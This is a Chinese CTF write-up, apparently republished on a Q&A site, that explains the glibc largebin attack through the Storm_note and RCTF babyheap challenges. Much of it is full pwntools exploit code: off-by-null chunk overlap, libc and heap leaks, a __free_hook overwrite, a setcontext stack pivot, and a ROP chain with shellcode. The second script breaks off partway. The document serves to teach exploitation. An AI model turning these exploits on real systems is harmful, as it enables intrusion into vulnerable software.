溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

怎樣剖析Largebin Attack

發(fā)布時(shí)間:2021-11-11 15:38:46 來(lái)源:億速云 閱讀:199 作者:柒染 欄目:編程語(yǔ)言

本篇文章給大家分享的是有關(guān)怎樣剖析Largebin Attack,小編覺(jué)得挺實(shí)用的,因此分享給大家學(xué)習(xí),希望大家閱讀完這篇文章后可以有所收獲,話不多說(shuō),跟著小編一起來(lái)看看吧。

前言

從西湖論劍的Storm_note第一次接觸largebin,RCTF的babyheap,發(fā)現(xiàn)這兩道題的本質(zhì)上是一樣的,因此我將通過(guò)這兩道題目對(duì)largebin attack進(jìn)行深入研究,從源碼分析到動(dòng)態(tài)調(diào)試,將largebin attack的整個(gè)流程都過(guò)了一遍,整理一下largebin attack的利用過(guò)程,希望對(duì)大家有幫助。

malloc函數(shù)largebin部分源碼分析

首先從源碼角度靜態(tài)分析將chunk從unsortedbin放入largebin部分的代碼邏輯。

for (;; )
    {
      int iters = 0;
      while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))//從第一個(gè)unsortedbin的bk開(kāi)始遍歷,FIFO原則
        {
          bck = victim->bk;
          if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0)
              || __builtin_expect (chunksize_nomask (victim)
                                   > av->system_mem, 0))
            malloc_printerr ("malloc(): memory corruption");
          size = chunksize (victim);
          /*
             If a small request, try to use last remainder if it is the
             only chunk in unsorted bin.  This helps promote locality for
             runs of consecutive small requests. This is the only
             exception to best-fit, and applies only when there is
             no exact fit for a small chunk.
           */
          if (in_smallbin_range (nb) &&
              bck == unsorted_chunks (av) &&
              victim == av->last_remainder &&
              (unsigned long) (size) > (unsigned long) (nb + MINSIZE))    //unsorted_bin的最后一個(gè),并且該bin中的最后一個(gè)chunk的size大于我們申請(qǐng)的大小
            {
              /* split and reattach remainder */
              remainder_size = size - nb;
              remainder = chunk_at_offset (victim, nb);                    //將選中的chunk剝離出來(lái),恢復(fù)unsortedbin
              unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;
              av->last_remainder = remainder;
              remainder->bk = remainder->fd = unsorted_chunks (av);
              if (!in_smallbin_range (remainder_size))
                {
                  remainder->fd_nextsize = NULL;
                  remainder->bk_nextsize = NULL;
                }
              set_head (victim, nb | PREV_INUSE |
                        (av != &main_arena ? NON_MAIN_ARENA : 0));
              set_head (remainder, remainder_size | PREV_INUSE);
              set_foot (remainder, remainder_size);
              check_malloced_chunk (av, victim, nb);
              void *p = chunk2mem (victim);
              alloc_perturb (p, bytes);
              return p;
            }
          /* remove from unsorted list */
          if (__glibc_unlikely (bck->fd != victim))
            malloc_printerr ("malloc(): corrupted unsorted chunks 3");
          unsorted_chunks (av)->bk = bck;//將其從unsortedbin中取出來(lái)
          bck->fd = unsorted_chunks (av);//bck要保證地址的有效性
          /* Take now instead of binning if exact fit */
          if (size == nb)
            {
              set_inuse_bit_at_offset (victim, size);
              if (av != &main_arena)
                set_non_main_arena (victim);
#if USE_TCACHE
              /* Fill cache first, return to user only if cache fills.
                 We may return one of these chunks later.  */
              if (tcache_nb
                  && tcache->counts[tc_idx] < mp_.tcache_count)
                {
                  tcache_put (victim, tc_idx);
                  return_cached = 1;
                  continue;
                }
              else
                {
#endif
              check_malloced_chunk (av, victim, nb);
              void *p = chunk2mem (victim);
              alloc_perturb (p, bytes);
              return p;
#if USE_TCACHE
                }
#endif
            }
          /* place chunk in bin */
          /*把unsortedbin的chunk放入相應(yīng)的bin中*/
          if (in_smallbin_range (size))
            {
              victim_index = smallbin_index (size);
              bck = bin_at (av, victim_index);
              fwd = bck->fd;
            }
          else//large bin
            {
              victim_index = largebin_index (size);
              bck = bin_at (av, victim_index);
              fwd = bck->fd;
              /* maintain large bins in sorted order */
              if (fwd != bck)
                {
                  /* Or with inuse bit to speed comparisons */
                  size |= PREV_INUSE;
                  /* if smaller than smallest, bypass loop below */
                  assert (chunk_main_arena (bck->bk));
                  /* 如果size<large bin中最后一個(gè)chunk即最小的chunk,就直接插到最后*/
                  if ((unsigned long) (size)
                      < (unsigned long) chunksize_nomask (bck->bk))
                    {
                      fwd = bck;
                      bck = bck->bk;
                      victim->fd_nextsize = fwd->fd;
                      victim->bk_nextsize = fwd->fd->bk_nextsize;
                      fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
                    }
                  else
                    {
                      assert (chunk_main_arena (fwd));
            // 否則正向遍歷,fwd起初是large bin第一個(gè)chunk,也就是最大的chunk。
            // 直到滿足size>=large bin chunk size
                      while ((unsigned long) size < chunksize_nomask (fwd))
                        {
                          fwd = fwd->fd_nextsize;//fd_nextsize指向比當(dāng)前chunk小的下一個(gè)chunk
                          assert (chunk_main_arena (fwd));
                        }
                      if ((unsigned long) size
                          == (unsigned long) chunksize_nomask (fwd))
                        /* Always insert in the second position.  */
                        fwd = fwd->fd;
                      else// 插入
                        {
                            //解鏈操作,nextsize只有l(wèi)argebin才有
                          victim->fd_nextsize = fwd;
                          victim->bk_nextsize = fwd->bk_nextsize;
                          fwd->bk_nextsize = victim;
                          victim->bk_nextsize->fd_nextsize = victim;//fwd->bk_nextsize->fd_nextsize=victim
                        }
                      bck = fwd->bk;
                    }
                }
              else
                victim->fd_nextsize = victim->bk_nextsize = victim;
            }
          mark_bin (av, victim_index);
          //解鏈操作2,fd,bk
          victim->bk = bck;
          victim->fd = fwd;
          fwd->bk = victim;
          bck->fd = victim;
          //fwd->bk->fd=victim

從源碼中可以分析出將chunk(victim)從unsortedbin中取出來(lái)放入largebin的具體過(guò)程。malloc的時(shí)候,遵循FIFO原則,從unsortedbin的鏈尾開(kāi)始往前遍歷。對(duì)每次選中的chunk(代碼中為victim),大致會(huì)進(jìn)行以下操作:

1、如果申請(qǐng)的大小是smallbin范圍內(nèi)&&victim是unsortedbin中僅剩的一個(gè)chunk&&victim的大小滿足需求,則利用這個(gè)chunk分配給用戶返回;否則將這個(gè)victim從unsortedbin中脫離出來(lái)。2、除非size剛好是需要的大小,否則將其放入相應(yīng)的smallbin或largebin3、如果是0x400以上(即為largebin),則從大到小的順序找到一個(gè)鏈表,該鏈表的size<=size(victim),該鏈表的第一個(gè)chunk即為fwd。如果剛好相等,則不對(duì)bk_nextsize和fd_nextsize進(jìn)行操作。4、解鏈操作1(重點(diǎn)關(guān)注最后一步):victim->bk_nextsize->fd_nextsize = victim相當(dāng)于fwd->bk_nextsize->fd_nextsize=victim,即向fwd->bk_nextsize指針中寫入victim的地址。5、解鏈操作2(重點(diǎn)關(guān)注最后一步):bck->fd = victim相當(dāng)于fwd->bk->fd=victim,即向fwd->bk的指針中寫入victim的地址。

largebin attack的關(guān)鍵是最后兩個(gè)解鏈操作,如果可以控制fwd的bk_nextsize指針和bk指針,可以實(shí)現(xiàn)向任意地址寫入victim的地址。

2019 西湖論劍 Storm_note

漏洞類型

off_by_null

背景知識(shí)

largebin attackunlinkchunk overlapping

保護(hù)機(jī)制

[*] '/home/leo/pwn/xihu/Storm_note'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

程序邏輯

1、init_proc

ssize_t init_proc()
{
  ssize_t result; // rax
  int fd; // [rsp+Ch] [rbp-4h]

  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  if ( !mallopt(1, 0) )                         // 禁用fastbin
    exit(-1);
  if ( mmap((void *)0xABCD0000LL, 0x1000uLL, 3, 34, -1, 0LL) != (void *)0xABCD0000LL )
    exit(-1);
  fd = open("/dev/urandom", 0);
  if ( fd < 0 )
    exit(-1);
  result = read(fd, (void *)0xABCD0100LL, 0x30uLL);
  if ( result != 48 )
    exit(-1);
  return result;
}

程序一開(kāi)始就對(duì)進(jìn)程進(jìn)行初始化,mallopt(1, 0)禁用了fastbin,然后通過(guò)mmap在0xABCD0000分配了一個(gè)頁(yè)面的可讀可寫空間,最后往里面寫入一個(gè)隨機(jī)數(shù)。

2、add

for ( i = 0; i <= 15 && note[i]; ++i )//按順序存放堆指針
    ;
  if ( i == 16 )
  {
    puts("full!");
  }
  else
  {
    puts("size ?");
    _isoc99_scanf((__int64)"%d", (__int64)&v1);
    if ( v1 > 0 && v1 <= 0xFFFFF )
    {
      note[i] = calloc(v1, 1uLL);//清空內(nèi)容
      note_size[i] = v1;//0x202060
      puts("Done");
    }

首先遍歷全局變量note,找到一個(gè)沒(méi)有存放內(nèi)容的地方保存堆指針。然后限定了申請(qǐng)的堆的大小最多為0xFFFFF,調(diào)用calloc函數(shù)來(lái)分配堆空間,因此返回前會(huì)對(duì)分配的堆的內(nèi)容進(jìn)行清零。

3、edit

puts("Index ?");
  _isoc99_scanf((__int64)"%d", (__int64)&v1);
  if ( v1 >= 0 && v1 <= 15 && note[v1] )//0x2020a0
  {
    puts("Content: ");
    v2 = read(0, note[v1], (signed int)note_size[v1]);
    *((_BYTE *)note[v1] + v2) = 0;              // off_by_null
    puts("Done");
  }

存在一個(gè)off_by_null漏洞,在read后v2保存寫入的字節(jié)數(shù),最后在該偏移處的字節(jié)置為0,形成off_by_null。

4、delete

puts("Index ?");
  _isoc99_scanf((__int64)"%d", (__int64)&v1);
  if ( v1 >= 0 && v1 <= 15 && note[v1] )
  {
    free(note[v1]);
    note[v1] = 0LL;
    note_size[v1] = 0;
  }

正常free

5、backdoor

void __noreturn backdoor()
{
  char buf; // [rsp+0h] [rbp-40h]
  unsigned __int64 v1; // [rsp+38h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  puts("If you can open the lock, I will let you in");
  read(0, &buf, 0x30uLL);
  if ( !memcmp(&buf, (const void *)0xABCD0100LL, 0x30uLL) )
    system("/bin/sh");
  exit(0);
}

程序提供一個(gè)可以直接getshell的后門,觸發(fā)的條件就是輸入的數(shù)據(jù)與mmap映射的空間的前48個(gè)字節(jié)相同。

利用思路

根據(jù)程序提供的后門,可以通過(guò)兩種方法來(lái)觸發(fā):

1、通過(guò)泄露信息來(lái)獲取寫入的隨機(jī)數(shù)2、通過(guò)實(shí)現(xiàn)任意寫來(lái)改寫0xABCD0000地址的48字節(jié)隨機(jī)數(shù)成已知的數(shù)據(jù)。

但這題沒(méi)有提供輸出函數(shù),因此第一種方法不好利用,這里采取第二種方法,實(shí)現(xiàn)任意寫。這題由于禁用了fastbin,可以考慮使用largebin attack來(lái)是實(shí)現(xiàn)任意寫。

1、利用off_by_null 漏洞實(shí)現(xiàn)chunk overlapping,從而控制堆塊內(nèi)容。2、將處于unsortedbin的可控制的chunk放入largebin中,以便觸發(fā)largebin attack3、控制largebin的bk和bk_nextsize指針,通過(guò)malloc觸發(fā)漏洞,分配到目標(biāo)地址,實(shí)現(xiàn)任意地址寫

具體實(shí)現(xiàn)

第一步:chunk overlapping

add(0x18)#0
add(0x508)#1
add(0x18)#2

add(0x18)#3
add(0x508)#4
add(0x18)#5
add(0x18)#6

首先分配7個(gè)chunk,chunk1和chunk4是用于放入largebin的大chunk,chunk6防止top chunk合并。

edit(1,'a'*0x4f0+p64(0x500))#prev_size
edit(4,'a'*0x4f0+p64(0x500))#prev_size

構(gòu)造兩個(gè)偽造的prev_size,用于繞過(guò)malloc檢查,保護(hù)下一個(gè)chunk的prev_size不被修改。

怎樣剖析Largebin Attack

dele(1)
edit(0,'a'*0x18)#off by null

利用off_by_null漏洞改寫chunk1的size為0x500

怎樣剖析Largebin Attack

add(0x18)#1
add(0x4d8)#7 0x050

dele(1)
dele(2)    #overlap

怎樣剖析Largebin Attack

先將0x20的chunk釋放掉,然后釋放chunk2,這時(shí)觸發(fā)unlink,查可以看到在note中chunk7保存著0x...50的指針,但這一塊是已經(jīng)被釋放掉的大chunk,形成堆塊的重疊。因此如果申請(qǐng)0x18以上的chunk,就能控制該chunk的內(nèi)容了。

#recover
add(0x30)#1
add(0x4e0)#2

怎樣剖析Largebin Attack

申請(qǐng)0x30的chunk,形成chunk overlapping。接下來(lái)用同樣的方法對(duì)第二個(gè)大chunk進(jìn)行overlapping

dele(4)
edit(3,'a'*0x18)#off by null
add(0x18)#4
add(0x4d8)#8 0x5a0
dele(4)
dele(5)#overlap
add(0x40)#4 0x580
edit(8,'ffff')

第二步:放入largebin

如何才能觸發(fā)條件,將unsortedbin中的大chunk放入largebin呢?接下來(lái)從源碼分析該機(jī)制。

while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))//從第一個(gè)unsortedbin的bk開(kāi)始遍歷
{
    bck = victim->bk;
    size = chunksize (victim);
    if (in_smallbin_range (nb) &&//<_int_malloc+627>bck == unsorted_chunks (av) &&
        victim == av->last_remainder &&
        (unsigned long) (size) > (unsigned long) (nb + MINSIZE))    //unsorted_bin的最后一個(gè),并且該bin中的最后一個(gè)chunk的size大于我們申請(qǐng)的大小
    {remainder_size = size - nb;
     remainder = chunk_at_offset (victim, nb);...}//將選中的chunk剝離出來(lái),恢復(fù)unsortedbin
    if (__glibc_unlikely (bck->fd != victim))
            malloc_printerr ("malloc(): corrupted unsorted chunks 3");
     unsorted_chunks (av)->bk = bck;    //largebin attack
    //注意這個(gè)地方,將unsortedbin的bk設(shè)置為victim->bk,如果我設(shè)置好了這個(gè)bk并且能繞過(guò)上面的檢查,下次分配就能將target chunk分配出來(lái)
    if (size == nb)//size相同的情況同樣正常分配
    if (in_smallbin_range (size))//放入smallbin
     {
        victim_index = smallbin_index (size);
        bck = bin_at (av, victim_index);
        fwd = bck->fd;
     }
     else//放入large bin
     {
         while ((unsigned long) size < chunksize_nomask (fwd))
         {
            fwd = fwd->fd_nextsize;//fd_nextsize指向比當(dāng)前chunk小的下一個(gè)chunk
            assert (chunk_main_arena (fwd));
          }
          if ((unsigned long) size
                          == (unsigned long) chunksize_nomask (fwd))
                        /* Always insert in the second position.  */
             fwd = fwd->fd;
          else// 插入
          {
            //解鏈操作,nextsize只有l(wèi)argebin才有
            victim->fd_nextsize = fwd;
            victim->bk_nextsize = fwd->bk_nextsize;
            fwd->bk_nextsize = victim;
            victim->bk_nextsize->fd_nextsize = victim;//fwd->bk_nextsize->fd_nextsize=victim
           }
          bck = fwd->bk;
      }
   }
 else
     victim->fd_nextsize = victim->bk_nextsize = victim;
}
 mark_bin (av, victim_index);
//解鏈操作2,fd,bk
 victim->bk = bck;
 victim->fd = fwd;
 fwd->bk = victim;
 bck->fd = victim;
//fwd->bk->fd=victim
dele(2)    #unsortedbin-> chunk2 -> chunk5(0x5c0)    which size is largebin FIFO
add(0x4e8)      # put chunk8(0x5c0) to largebin
dele(2) #put chunk2 to unsortedbin

簡(jiǎn)要總結(jié)一下這個(gè)過(guò)程,在unsortedbin中存放著兩個(gè)大chunk,第一個(gè)0x4e0,第二個(gè)0x4f0。當(dāng)我申請(qǐng)一個(gè)0x4e8的chunk時(shí),首先找到0x4e0的chunk,太小了不符合調(diào)件,于是將它拿出unsortedbin,放入largebin。在放入largebin時(shí)就會(huì)進(jìn)行兩步解鏈操作,兩個(gè)解鏈操作的最后一步是關(guān)鍵。

怎樣剖析Largebin Attack

可以看到從unsortedbin->bk開(kāi)始遍歷,第一個(gè)的size < nb因此就會(huì)放入largebin,繼續(xù)往前遍歷,找到0x4f0的chunk,剛好滿足size==nb,因此將其分配出來(lái)。最后在delete(2)將剛剛分配的chunk2再放回unsortedbin,進(jìn)行第二次利用。

怎樣剖析Largebin Attack

第三步:largebin attack

再回顧一下之前源碼中更新unsortedbin的地方

bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
     malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;    //largebin attack
content_addr = 0xabcd0100
fake_chunk = content_addr - 0x20

payload = p64(0)*2 + p64(0) + p64(0x4f1) # size
payload += p64(0) + p64(fake_chunk)      # bk
edit(7,payload)

怎樣剖析Largebin Attack

payload2 = p64(0)*4 + p64(0) + p64(0x4e1) #size
payload2 += p64(0) + p64(fake_chunk+8)   
payload2 += p64(0) + p64(fake_chunk-0x18-5)#mmap

edit(8,payload2)

修改largebin的bk和bk_nextsize

怎樣剖析Largebin Attack

分析一下為什么改寫為這些值。先回顧一下兩個(gè)解鏈操作。

            victim->fd_nextsize = fwd;
            victim->bk_nextsize = fwd->bk_nextsize;
            fwd->bk_nextsize = victim;
            victim->bk_nextsize->fd_nextsize = victim;//fwd->bk_nextsize->fd_nextsize=victim
           }
          bck = fwd->bk;
      }
   }
 else
     victim->fd_nextsize = victim->bk_nextsize = victim;
}
 mark_bin (av, victim_index);
//解鏈操作2,fd,bk
 victim->bk = bck;
 victim->fd = fwd;
 fwd->bk = victim;
 bck->fd = victim;
//fwd->bk->fd=victim

根據(jù)之前的chunk overlappnig,可以控制largebin的bk和bk_nextsize,fwd就是已經(jīng)放入largebin的chunk,victim就是unsortedbin中需要放入largebin的chunk。victim->bk_nextsize->fd_nextsize = victim;//fwd->bk_nextsize->fd_nextsize=victim在fwd->bk_nextsize中放入目標(biāo)的addr,實(shí)現(xiàn)*(addr+0x20) = victimbck->fd = victim;在fwd->bk中放入目標(biāo)addr,實(shí)現(xiàn)*(addr+0x10)=victim因?yàn)閡nsortedbin中存放了fake_chunk,但那里沒(méi)有一個(gè)符合條件的size,因此需要通過(guò)這個(gè)解鏈操作給那里寫入一個(gè)地址,作為size。

怎樣剖析Largebin Attack

怎樣剖析Largebin Attack

(fake_chunk-0x18-5 + 0x20) = (fake_chunk+3) = victim

最后能在fake_chunk上寫入0x56,而程序開(kāi)了PIE保護(hù),程序基址有一定幾率以0x56開(kāi)頭。

bck->fd = unsorted_chunks (av)

同時(shí)還要保證bck的地址有效

(fake_chunk+8+0x10)=(fake_chunk+0x18)=victim

add(0x40)

怎樣剖析Largebin Attack

從unsortedbin的bk開(kāi)始遍歷,發(fā)現(xiàn)bk是0xabcd00e0,bck!=unsorted_chunks (av),因此不會(huì)從該chunk中剝離一塊內(nèi)存分配。然后執(zhí)行一下語(yǔ)句

unsorted_chunks (av)->bk = bck;    
bck->fd = unsorted_chunks (av);

將0xabcd00e0->bk重新放入unsortedbin。然后由于size==nb,返回分配,成功將目標(biāo)地址返回。

怎樣剖析Largebin Attack

payload = p64(0) * 2+p64(0) * 6
edit(2,payload)

p.sendlineafter('Choice: ','666')

p.send(p64(0)*6)

最后將0XABCD0100的隨機(jī)數(shù)修改為0,觸發(fā)后門即可。

EXP

from pwn import *
p = process('./Storm_note')

def add(size):
  p.recvuntil('Choice')
  p.sendline('1')
  p.recvuntil('?')
  p.sendline(str(size))

def edit(idx,mes):
  p.recvuntil('Choice')
  p.sendline('2')
  p.recvuntil('?')
  p.sendline(str(idx))
  p.recvuntil('Content')
  p.send(mes)

def dele(idx):
  p.recvuntil('Choice')
  p.sendline('3')
  p.recvuntil('?')
  p.sendline(str(idx))


add(0x18)#0
add(0x508)#1
add(0x18)#2

add(0x18)#3
add(0x508)#4
add(0x18)#5
add(0x18)#6

edit(1,'a'*0x4f0+p64(0x500))#prev_size
edit(4,'a'*0x4f0+p64(0x500))#prev_size

dele(1)
edit(0,'a'*0x18)#off by null

add(0x18)#1
add(0x4d8)#7 0x050

dele(1)
dele(2)    #overlap

#recover
add(0x30)#1
add(0x4e0)#2

dele(4)
edit(3,'a'*0x18)#off by null
add(0x18)#4
add(0x4d8)#8 0x5a0
dele(4)
dele(5)#overlap
add(0x40)#4 0x580


dele(2)    #unsortedbin-> chunk2 -> chunk5(chunk8)(0x5c0)    which size is largebin FIFO
add(0x4e8)      # put chunk8(0x5c0) to largebin
dele(2) #put chunk2 to unsortedbin


content_addr = 0xabcd0100
fake_chunk = content_addr - 0x20

payload = p64(0)*2 + p64(0) + p64(0x4f1) # size
payload += p64(0) + p64(fake_chunk)      # bk
edit(7,payload)


payload2 = p64(0)*4 + p64(0) + p64(0x4e1) #size
payload2 += p64(0) + p64(fake_chunk+8)   
payload2 += p64(0) + p64(fake_chunk-0x18-5)#mmap

edit(8,payload2)

add(0x40)
#gdb.attach(p,'vmmap')
payload = p64(0) * 2+p64(0) * 6
edit(2,payload)
p.sendlineafter('Choice: ','666')
p.send(p64(0)*6)
p.interactive()

2019 RCTF babyheap

漏洞類型

off by one

背景知識(shí)

largebin attackunlinkchunk overlappingROPshellcode編寫

保護(hù)機(jī)制

[*] '/home/leo/Desktop/RCTF/babyheap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

保護(hù)全開(kāi)

程序邏輯

1、init

怎樣剖析Largebin Attack

首先選取2字節(jié)的隨機(jī)數(shù)作為mmap函數(shù)分配給ptrs的地址,然后禁用了fastbin,最后對(duì)一些系統(tǒng)調(diào)用函數(shù)進(jìn)行限制。利用seccomp-tools工具可以快速查看程序?qū)δ男┖瘮?shù)進(jìn)行限制。

怎樣剖析Largebin Attack

發(fā)現(xiàn)禁用了fork、execve等函數(shù),因此不能直接調(diào)用system函數(shù)來(lái)getshell??梢钥紤]用open、read、write讀取輸出文件內(nèi)存來(lái)獲得flag。

2、add

怎樣剖析Largebin Attack

分析出ptrs的保存的數(shù)據(jù)以16字節(jié)為單位,前8字節(jié)保存用calloc函數(shù)分配的堆塊指針,后8字節(jié)保存對(duì)應(yīng)的size。

3、edit

怎樣剖析Largebin Attack

edit函數(shù)存在一個(gè)off by null漏洞。

4、delete

怎樣剖析Largebin Attack

安全的free,清空了指針,沒(méi)什么問(wèn)題。

5、show

怎樣剖析Largebin Attack

提供了一個(gè)輸出函數(shù),可以用來(lái)泄露信息。

利用思路

1、利用off by null漏洞改寫size,通過(guò)unlink形成chunk overlapping對(duì)fwd的堆塊的bk和bk_nextsize實(shí)施控制。在這過(guò)程中順便用show函數(shù)泄露libc和heap地址。2、由于涉及到fwd和victim兩個(gè)large size的chunk的操作,需要先將一個(gè)chunk放入largebin,另一個(gè)放入unsortedbin,然后利用largebin attack往free_hook前某個(gè)內(nèi)存錯(cuò)位寫入0x56作為fake_chunk的size。然后分配到fake_chunk改寫free_hook指針。3、因?yàn)槌绦蜷_(kāi)啟的保護(hù)限制了system函數(shù)的使用,所以不能直接getshell。如果要利用open、read、write來(lái)讀取flag文件,需要用到ROP技術(shù)。4、因?yàn)橹恢纋ibc和heap地址,不知道棧地址和程序基址,首先需要將rsp遷移到堆上。5、最后就能通過(guò)ROP來(lái)獲取flag

具體實(shí)現(xiàn)

第一步:chunk overlapping

add(0x18)#0
add(0x508)#1
add(0x18)#2

add(0x18)#3
add(0x508)#4
add(0x18)#5
add(0x18)#6
edit(1,'a'*0x4f0+p64(0x500))#prev_size
edit(4,'a'*0x4f0+p64(0x500))#prev_size
#gdb.attach(p)
#第一個(gè)大chunk
dele(1)
edit(0,'a'*0x18)#off by null

add(0x18)#1
add(0x4d8)#7 0x050
dele(1)
dele(2)#overlap
#第二個(gè)大chunk
dele(4)
edit(3,'a'*0x18)#off by null
add(0x18)#4
add(0x4d8)#8 0x5a0
dele(4)
dele(5)#overlap
add(0x40)#4 0x580

這一步與Storm_note前一部分是一樣的,這里不多做解釋。

第二步:泄露libc和heap

在形成第一個(gè)大chunk的overlapping的時(shí)候因?yàn)閏hunk在unsortedbin里,可以順便泄露libc基址和heap地址。這些是常規(guī)操作。

怎樣剖析Largebin Attack

此時(shí)能控制的堆塊從0x...50開(kāi)始,unsortedbin中的堆塊為0x...20,因此需要分配0x20大小的塊出來(lái),使得unsortedbin的地址寫入0x...50。

#recover leak libc
add(0x18)#1
show(7)
p.recv(1)
leak = p.recv(6)
libc_base=uu64(leak)-0x3c4b78
success('libc_base= {}'.format(hex(libc_base)))

怎樣剖析Largebin Attack

用同樣的方法,要泄露heap地址,需要在fd上保存下一個(gè)堆塊指針,則需要將兩個(gè)chunk放入unsortedbin中,同時(shí)第二個(gè)放入的chunk是可控的。

#leak heap
add(0x4e0)#2
add(0x18)#8
dele(3)
dele(2)
show(7)
p.recv(1)
data = p.recv(6)
heap = uu64(data)-0x550
success('heap= {}'.format(hex(heap)))
add(0x4e0)
add(0x18)

第三步:largebin attack

dele(2)    
add(0x4e8)
dele(2)

同樣的由于在第一個(gè)chunk的大小為0x4e0,不滿足(unsigned long) (size) > (unsigned long) (nb + MINSIZE)條件,因此將其剝離出來(lái),放入largebin。然后繼續(xù)往前搜索發(fā)現(xiàn)0x4f0滿足要求,返回給用戶。最后再把chunk2重新放入unsortedbin中。形成一個(gè)unsortedbin中的victim和largebin中的fwd。

free_hook = libc.symbols['__free_hook']+libc_base
fake_chunk = free_hook-0x10

payload = p64(0) + p64(fake_chunk)      # bk
edit(7,payload)

payload2 = p64(0)*4 + p64(0) + p64(0x4e1) #size
payload2 += p64(0) + p64(fake_chunk+8)   
payload2 += p64(0) + p64(fake_chunk-0x18-5)#mmap

edit(9,payload2)
add(0x40)

做了三件事情:

1、將unsortedbin中的victim的bk改寫為fake_chunk,使得下一次往前遍歷時(shí)命中這塊內(nèi)存。2、改寫largebin中的fwd的bk為victim,使得bck->fd=unsorted_chunks (av)成功執(zhí)行。3、改寫largebin中的fwd的bk_nextsize為fake_chunk的size字段,錯(cuò)位寫入heap地址。

怎樣剖析Largebin Attack

第四步:遷移棧到堆,利用ROP

要用到ROP需要在棧上布置數(shù)據(jù),但堆題一般都只是將數(shù)據(jù)放在堆上,因此很難利用ROP。解決方法是利用mov rsp,[xxx]的方法遷移棧到堆上。這里利用的是setcontext函數(shù)中有一段指令可以控制rsp寄存器。

怎樣剖析Largebin Attack

因此,觸發(fā)free_hook前,往free_hook中填寫setcontext+53的地址,注意布置好第一個(gè)參數(shù)rdi對(duì)應(yīng)的堆塊的數(shù)據(jù),就可以改寫rsp等寄存器的值。

setcontext = 0x47b75+libc_base
success('setcontext= {}'.format(hex(setcontext)))
edit(2,p64(setcontext))

接著是往一個(gè)堆上布置好ROP的數(shù)據(jù),流程是調(diào)用mprotect將heap改為可執(zhí)行,然后調(diào)用mmap分配一塊可讀可寫可執(zhí)行內(nèi)存,接下來(lái)將shellcode復(fù)制到這塊內(nèi)存,最后跳到shellcode開(kāi)始執(zhí)行。

a = '''
mov esp,0x400100
push 0x67616c66
mov rdi,rsp
'''
shellcode = asm(a,arch='amd64',os='linux')    
shellcode += asm(shellcraft.amd64.syscall("SYS_open","rdi",'O_RDONLY', 0)+'mov rbx,rax',arch='amd64',os='linux')
shellcode += asm(shellcraft.amd64.syscall("SYS_read","rbx",0x400200,0x20),arch='amd64',os='linux')
shellcode += asm(shellcraft.amd64.syscall("SYS_write",1,0x400200,0x20),arch='amd64',os='linux')

p_rdi=0x0000000000021102+libc_base
p_rdx_rsi=0x00000000001150c9+libc_base
p_rcx_rbx=0x00000000000ea69a+libc_base
p_rsi = 0x00000000000202e8+libc_base
mprotect=libc.symbols['mprotect']+libc_base
setcontext = 0x47b75+libc_base
success('setcontext= {}'.format(hex(setcontext)))
mmap = libc.symbols['mmap']+libc_base
edit(2,p64(setcontext))

rop = p64(0)*5+p64(0xffffffff)+p64(0)#r8 r9
rop+= p64(0)*13
rop+= p64(heap+0x100)#mov rsp,[rdi+0xa0]
rop+= p64(p_rdi)#push rcx;ret
rop+= p64(heap)+p64(p_rdx_rsi)+p64(7)+p64(0x1000)+p64(mprotect)
rop+= p64(p_rdi)+p64(0x400000)+p64(p_rdx_rsi)+p64(7)+p64(0x1000)+p64(p_rcx_rbx)+p64(0x22)+p64(0)+p64(mmap)
rop+= p64(p_rcx_rbx)+p64(len(shellcode))+p64(0) + p64(p_rdi)+p64(0x400000) + p64(p_rsi)+p64(heap+0x1be)+p64(heap+0x1b0)
rop+= asm('''
rep movsd
push 0x400000
ret ''',arch='amd64',os='linux')+'\x00'
rop+= shellcode


edit(7,rop)
dele(7)
p.interactive()

其實(shí)這題更簡(jiǎn)單的方法是直接利用ROP來(lái)open、read、write或者直接在堆上執(zhí)行shellcode。我這么做就是將兩種方法結(jié)合起來(lái)。

EXP

from pwn import *
p = process('./babyheap')
libc = ELF('/home/leo/Desktop/libc-2.23.so')
#context.log_level='debug'

uu64    = lambda data               :u64(data.ljust(8, '\0'))
def add(size):
  p.recvuntil('Choice')
  p.sendline('1')
  p.recvuntil('Size:')
  p.sendline(str(size))

def edit(idx,mes):
  p.recvuntil('Choice')
  p.sendline('2')
  p.recvuntil('Index:')
  p.sendline(str(idx))
  p.recvuntil('Content:')
  p.send(mes)

def dele(idx):
  p.recvuntil('Choice')
  p.sendline('3')
  p.recvuntil('Index:')
  p.sendline(str(idx))
def show(idx):
  p.recvuntil('Choice')
  p.sendline('4')
  p.recvuntil('Index:')
  p.sendline(str(idx))

add(0x18)#0
add(0x508)#1
add(0x18)#2

add(0x18)#3
add(0x508)#4
add(0x18)#5
add(0x18)#6
edit(1,'a'*0x4f0+p64(0x500))#prev_size
edit(4,'a'*0x4f0+p64(0x500))#prev_size
#gdb.attach(p)
dele(1)
edit(0,'a'*0x18)#off by null

add(0x18)#1
add(0x4d8)#7 0x050
dele(1)
dele(2)#overlap

#recover leak libc
add(0x18)#1
show(7)
p.recv(1)
leak = p.recv(6)
libc_base=uu64(leak)-0x3c4b78
success('libc_base= {}'.format(hex(libc_base)))
#leak heap
add(0x4e0)#2
add(0x18)#8
dele(3)
dele(2)
show(7)
p.recv(1)
data = p.recv(6)
heap = uu64(data)-0x550
success('heap= {}'.format(hex(heap)))
add(0x4e0)
add(0x18)


##########################


dele(4)
edit(3,'a'*0x18)#off by null
add(0x18)#4
add(0x4d8)#8 0x5a0
dele(4)
dele(5)#overlap
add(0x40)#4 0x580

#9 control
dele(2)
add(0x4e8)
dele(2)
#gdb.attach(p)

free_hook = libc.symbols['__free_hook']+libc_base
